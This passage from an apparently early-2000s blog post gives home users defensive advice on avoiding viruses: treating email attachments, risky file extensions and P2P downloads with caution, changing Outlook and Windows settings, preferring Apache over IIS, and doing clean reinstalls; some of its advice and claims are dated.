know, and it will try to convince you to open an attachment. Never open attachments at any cost! Some viruses will infect files in programs, so opening a program will actually open the virus, maybe the same one, or another part of it.</div><div style="text-align: left;"><br /></div><div style="text-align: left;"><br /></div><div style="text-align: left;">All files have what is called an extension; This is the 3 last letters after the last period. For example, setup.exe has a file extension of .exe.</div><div style="text-align: left;"><br /></div><div style="text-align: left;"><br /></div><div style="text-align: left;">Extensions to watch out for are .exe .com .bat .scr .pif .vbs and others, but these are the most seen. .exe .com .bat .pif and .scr are valid extensions for executables. A virus writer will simply rename it to one of these and it will work the same way. .pif is a shortcut to an ms-dos program and will have the ms dos icon, but will still execute whatever code is in it, so an .exe can be renamed to .pif and be run the same way. .bat is a batch file, which can contain instructions to do various file activities, but again, a .exe can be renamed to .bat and it will execute it! .vbs is a visual basic script. For some reason, Microsoft provides this scripting language along with the scripting host to make it more convenient to design and write viruses quickly and easily, I've never seen another use for this scripting language other than for writing viruses. There are programs that are written with that language, but it is compiled into an exe. Exe is the usual extension for programs, you would not have a software CD install a bunch of vbs files all over!</div><div style="text-align: left;"><br /></div><div style="text-align: left;"><br /></div><div style="text-align: left;">Bottom line is, if you don't know what a file is just don't open it. Some viruses will sometimes be named a way as to mask the real file extension to make it look like a harmless file such as a image file. This is easily noticed, but can still be missed. Simply don't open unexpected files.</div><div style="text-align: left;"><br /></div><div style="text-align: left;"><br /></div><div style="text-align: left;">If you get something that appears like something legit, just ask the person it came from if they sent it. Most viruses use a friend's address to make it look like it comes from them. The virus does this by using the person's address when sending itself to the address book contacts.</div><div style="text-align: left;"><br /></div><div style="text-align: left;"><br /></div><div style="text-align: left;">Downloads</div><div style="text-align: left;">Email is not the only way to get viruses; P2P (file sharing programs such as kazaa, winmx, direct connect etc) is also another way to get viruses.</div><div style="text-align: left;"><br /></div><div style="text-align: left;"><br /></div><div style="text-align: left;">When downloading programs, the main thing to watch out for is the file size. If you are downloading a program that you expect to be rather large such as a game, don't grab a file that is 10KB, since it's most likely a virus. However, I've been caught with a virus even with large files, so file size is not the only thing to watch, as an exe is still valid even if junk is added at the end, so a 64KB virus will still function even if it is turned into 650MB.</div><div style="text-align: left;"><br /></div><div style="text-align: left;"><br /></div><div style="text-align: left;">Icons are something to look for too, fortunately, virus writers don't take time to put icons. If your download should be a setup file, you should see the icon of a setup file. If it's just the blank icon that typical plain or corrupted exes have, don't open it.</div><div style="text-align: left;"><br /></div><div style="text-align: left;"><br /></div><div style="text-align: left;">Another thing to do, which should be obvious, is to scan the file for viruses using updated virus definitions. But don't rely on only your virus scanner, as they are not perfect, and if the virus has not been reported to them yet, they won't know to create a definition for it!</div><div style="text-align: left;"><br /></div><div style="text-align: left;"><br /></div><div style="text-align: left;">Changing settings to stay safe</div><div style="text-align: left;">If you do open a virus, you want to avoid it going to all your friends. The simplest thing to do is to NOT use the windows address book. It is easy for viruses to get through and Microsoft is not doing anything about it. Just don't use it. Put them in spreadsheet or even better write them down somewhere. Don't use the address book.</div><div style="text-align: left;"><br /></div><div style="text-align: left;"><br /></div><div style="text-align: left;">Another "feature" to avoid is the auto preview. Some viruses can attempt to open themselves just by opening the email. There are security holes in Microsoft mail programs that allow this. In Microsoft Outlook, click on the view menu and remove auto preview. You need to do this for every folder, but the inbox is most important. In Outlook Express, click on the view menu and go to layout. In the dialog box, you will see a check box for show preview pane. Uncheck it and click ok.</div><div style="text-align: left;"><br /></div><div style="text-align: left;"><br /></div><div style="text-align: left;">Another thing you should change, especially if you download a lot, is the option that allows you to view the file extension. In Win98, go in any folder, click on view then folder options and choose the view tab and where it says hide file extension for known types, uncheck it. In win2k, it is the same process, but instead, go in the control panel and open the folder options icon.</div><div style="text-align: left;"><br /></div><div style="text-align: left;"><br /></div><div style="text-align: left;">Avoiding server worms</div><div style="text-align: left;">Some viruses, mostly worms, can exploit through servers and affect other servers from servers that have been infected. A good example is the SQL slammer. This was a worm that affected SQL servers run by Microsoft IIS and Microsoft SQL Server. Once the worm gets in, that particular server starts trying to find more exploitable driving internet connections to a halt in the process. Servers running Apache were unaffected by that, except for the many hits to try to get in. IceTeks received about 100 hits per day when it was run on a dedicated home server. Most hits came from major ISPs and other big websites that had no clue they were still affected.</div><div style="text-align: left;"><br /></div><div style="text-align: left;"><br /></div><div style="text-align: left;">The simple solution to avoid these types of viruses is to NOT use Microsoft based server software for your server, especially if it is a public server. The operating system is also crucial, but the actual server software is much more. Apache, which is free, is much more secure than Microsoft based server programs such as IIS. IIS may be easier to understand and administer, but it saves a lot of hassle to learn how to use Apache. IIS has a large number of vulnerabilities, such as the ability to gain access to cmd.exe and basically delete the whole drive by doing a ../ request in the address bar. These don't require viruses, but simply commands, but there are worms written to automatically make these commands. The code red does this.</div><div style="text-align: left;"><br /></div><div style="text-align: left;"><br /></div><div style="text-align: left;">Removing a virus</div><div style="text-align: left;">The best way to do this is to do a clean install. However, depending on how bad the virus is, a simple clean install won't remove it. So to be extra sure, you'll want to do a low level format. This is especially true of you got a boot sector virus, as even repartitioning and formatting won't quite remove it, but sometimes you can get away with an fdisk /mbr, but not all the time. here are various removal tools for viruses, it is good to use them and see if they work, but proceeding with the clean install is recommended. You never know if the virus is completely removed by deleting files you suspect are infected. Some viruses such as the Bugbear will close anti virus programs and other programs to make it hard and annoying to figure out what to do. A clean install is the best way to ensure that it's gone for good.</div><div style="text-align: left;"><br /></div><div style="text-align: left;">Viruses are out there, don't be one of the many infected ones! Stay alert and stay safe! Don't open unexpected files, regularly update your virus definitions and scan downloaded files!</div><div style="text-align: left;"><br /></div><div style="text-align: left;">I hope this blog was useful for you! </div></div>

User's guide to avoiding virus infections

User's guide to avoiding virus infections   User's guide to avoiding virus infections Keeping an eye out for viruses Computer viruse...

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